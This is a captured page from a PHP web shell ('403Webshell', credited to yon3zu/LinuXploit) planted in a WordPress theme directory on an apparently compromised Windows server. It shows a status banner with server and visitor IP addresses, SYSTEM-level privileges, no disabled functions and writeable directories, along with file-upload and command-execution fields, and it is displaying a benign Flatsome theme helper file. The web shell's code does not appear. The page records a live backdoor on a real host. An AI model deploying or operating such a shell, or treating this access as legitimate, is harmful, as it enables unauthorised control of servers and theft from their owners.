403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/training/wp-content/themes/flatsome/inc/builder/core/server/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/training/wp-content/themes/flatsome/inc/builder/core/server/helpers/transformers.php
<?php

/**
 * Transforms a string with shortcodes to an array.
 *
 * @param  string $string
 * @return array
 */
function ux_builder_to_array( $string ) {
  return ux_builder( 'to-array' )->transform( $string );
}

/**
 * Transforms an array of shortcodes into a string.
 *
 * @param  array  $array
 * @return string
 */
function ux_builder_to_string( $array ) {
  return ux_builder( 'to-string' )->transform( $array );
}

/**
 * Walk throug all elements in a transformed array.
 *
 * @param  array    $array
 * @param  callable $callback
 */
function ux_builder_content_array_walk( &$array, $callback ) {
  foreach ( $array as $key => &$item ) {
    call_user_func_array( $callback, array( &$item, $key ) );
    if ( array_key_exists( 'children', $item ) && is_array( $item['children'] ) ) {
      ux_builder_content_array_walk( $item['children'], $callback );
    }
    if ( array_key_exists( 'content', $item ) && is_array( $item['content'] ) ) {
      ux_builder_content_array_walk( $item['content'], $callback );
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit